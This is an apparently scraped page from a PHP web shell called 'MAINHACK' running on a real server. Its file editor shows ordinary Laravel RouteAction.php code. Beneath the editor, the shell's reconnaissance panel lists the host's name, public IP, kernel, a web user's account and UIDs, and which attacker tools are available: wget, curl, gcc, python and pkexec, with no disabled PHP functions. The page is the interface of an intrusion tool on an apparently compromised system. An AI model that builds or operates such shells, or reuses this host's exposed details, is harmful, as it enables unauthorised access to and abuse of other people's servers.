[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RouteAction.php
<?php namespace Illuminate\Routing; use Illuminate\Support\Arr; use Illuminate\Support\Reflector; use Illuminate\Support\Str; use LogicException; use UnexpectedValueException; class RouteAction { /** * Parse the given action into an array. * * @param string $uri * @param mixed $action * @return array */ public static function parse($uri, $action) { // If no action is passed in right away, we assume the user will make use of // fluent routing. In that case, we set a default closure, to be executed // if the user never explicitly sets an action to handle the given uri. if (is_null($action)) { return static::missingAction($uri); } // If the action is already a Closure instance, we will just set that instance // as the "uses" property, because there is nothing else we need to do when // it is available. Otherwise we will need to find it in the action list. if (Reflector::isCallable($action, true)) { return ! is_array($action) ? ['uses' => $action] : [ 'uses' => $action[0].'@'.$action[1], 'controller' => $action[0].'@'.$action[1], ]; } // If no "uses" property has been set, we will dig through the array to find a // Closure instance within this list. We will set the first Closure we come // across into the "uses" property that will get fired off by this route. elseif (! isset($action['uses'])) { $action['uses'] = static::findCallable($action); } if (! static::containsSerializedClosure($action) && is_string($action['uses']) && ! str_contains($action['uses'], '@')) { $action['uses'] = static::makeInvokable($action['uses']); } return $action; } /** * Get an action for a route that has no action. * * @param string $uri * @return array * * @throws \LogicException */ protected static function missingAction($uri) { return ['uses' => function () use ($uri) { throw new LogicException("Route for [{$uri}] has no action."); }]; } /** * Find the callable in an action array. * * @param array $action * @return callable */ protected static function findCallable(array $action) { return Arr::first($action, function ($value, $key) { return Reflector::isCallable($value) && is_numeric($key); }); } /** * Make an action for an invokable controller. * * @param string $action * @return string * * @throws \UnexpectedValueException */ protected static function makeInvokable($action) { if (! method_exists($action, '__invoke')) { throw new UnexpectedValueException("Invalid route action: [{$action}]."); } return $action.'@__invoke'; } /** * Determine if the given array actions contain a serialized Closure. * * @param array $action * @return bool */ public static function containsSerializedClosure(array $action) { return is_string($action['uses']) && Str::startsWith($action['uses'], [ 'O:47:"Laravel\\SerializableClosure\\SerializableClosure', 'O:55:"Laravel\\SerializableClosure\\UnsignedSerializableClosure', ]) !== false; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002